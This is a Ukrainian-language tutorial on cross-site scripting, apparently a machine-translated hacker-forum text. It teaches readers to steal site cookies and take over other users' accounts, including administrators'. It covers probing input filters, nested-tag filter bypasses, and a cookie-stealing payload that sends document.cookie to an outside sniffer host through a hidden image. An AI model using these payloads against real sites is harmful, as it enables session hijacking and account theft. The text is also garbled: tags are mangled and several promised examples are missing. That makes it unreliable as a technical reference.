Xss це Css =) Cross Site Scripting
Щоб не плутати з CSS також називають XSS
Що ж таке cookie і для чого XSS?
Cookie - це просто текстовий файл на комп'ютері клієнта і використовується він для збереження інформації сервером.
Наприклад, після реєстрації та входу на форум, сайт зберігає в cookie інформацію про вас. Там у звичайному форматі інформація про
вашому користувача і його пароль. Вже потім форум читає ці дані і визначає вас. Інший приклад: ви адміністратор сайту, а я
простий користувач. Але якщо я зміню свої дані на ваші, то я теж буду визначений системою як адміністратор. Ось і тому
необхідно вміти викрадати ці самі cookie.
Що таке XSS-атака?
XSS атаки - це атаки не на сам сайт, а на користувачів сайту.
XSS - це недоробка в фільтрі, додатку.
Бувають пасивні XSS і активні XSS.
Пасивні - це Xss, які вимагають від жертви безпосередньої участі + є специфічні
обмеження і складності. Тому, пасивні XSS не надто цінуються. Наприклад, потрібно змусити її пройти по отруйної посиланню,
Активні - це XSS, які, не вимагають ніяких додаткових дій з боку жертви - їй достатньо
лише відкрити сторінку з вашим XSS та ява-код виконається автоматично. Завдяки своїй автоматизированности - вони дуже корисні і цінні.
Наприклад, активні ХСС існують в BB-тегах через недостатню фільтрації, коли ви залишаєте повідомлення на форумегостевухечате,
яке буде завжди активний при кожному оновленні.
Як знайти XSS на даному сайті?
Намагаємося вставити всюди де можна на сайті тег (script) alert () (/ script). Якщо вийшло повідомлення, то
значить скрипт спрацював і ви знайшли XSS.
Розглянемо ще одну XSS ") (script) alert () (/ script). Що ж при цьому відбувається: ми
закриваємо тег ") (можливо якийсь змінної задається текст, який ми вводимо в форму) і виконується
Як визначити, чи є фільтр?
Для цього в усі поля вводимо ";! -" (fuck) =
Далі відкриваємо сторінку і шукаємо слово fuck, а також інші символи:
Якщо () залишилися, то це перша ознака вразливості. Якщо залишилися символи, " '. То це друга ознака
Якщо ви не знайшли (), то швидше за все їх з'їв фільтр. Ну а якщо вони були замінені на інші символи, то тоді на жаль,
фільтр працює непогано.
Що якщо фільтр проковтує ().
Пробуємо вставити (kdgfjdgfd), дивимося, якщо проковтнув - то вставляємо бойової скрипт.
Є також спосіб вкладеного скрипта: (sc (script) ript) alert () (/ sc (/ script) ript). Це допоможе, коли
фільтр не дуже сильний.
Буває, що фільтр вважає кількість відкритих і закритих тегів і сам закриває, тоді допоможе таке:
Частенько буває, що фільтр доповнює скрипт, наприклад таким:
Можна спробувати використовувати різні кодування і спробувати закодувати скрипт.
Треба намагатися методом проб і помилок.
Треба намагатися вводити різні значення, переглядати, що ми отримали від фільтра. Методом тиков зрозуміти, як фільтр працює,
які у нього недоробки. Якщо фільтр поганий, то завжди можна буде вставити скрипт.
Наприклад на сайті можна використовувати тільки дозволені теги, тоді, прикриваючись ними потрібно виконати скрипт. Наприклад це теги
img, url. Весь сенс у тому, що нам потрібно вставити наш запит в параметр img або url. У img є багато параметрів
крім alt і src, що можна використовувати в Книзі відгуків і на форумах.
Розглянемо активні XSS
знайшли активну XSS і замість alert () можна вставити будь-який скрипт
Якщо фільтр не здався спробуйте так:
На сторінці з цього вийти такий тег:
Насправді alert () нічого корисного не зробить (він потрібен був тільки для перевірки). А ось сам скрипт:
Він то вже і краде кукі
Підставляємо його так:
де ') (script) img = new Image (); img.src = "http://antichat.ru/cgi-bin/s.jpg?" + document.cookie; сам скрипт
2) більш безпечний скрипт такий наприклад:
тут вже йде звернення до файлу My.js, який містить
(Script) img = new Image (); img.src = "http://antichat.ru/cgi-bin/s.jpg?" + document.cookie;
Так більш безпечніше.
Буває, коли доводиться шифрувати. Ось наприклад:
Потім називаємо файл, наприклад 1.jpg і розміщуємо на сайті. Реакція така:
У цей час ми дописуємо рядком
в наш документ звернення до сніффером для відправки cookie.
До речі, на відміну від частого способу, дане зображення не відображається
у вигляді хрестика, тому що воно має атрибут прихований (style = display: none) і про всяк випадок розміри 1х1. Після отримань cookie ми без
Додатково: якщо перейти через IE, то скрипт спрацює, а якщо в Opera, то скрипт не спрацює і буде хрестик. А якщо перейменувати в html, то в опері теж буде працювати.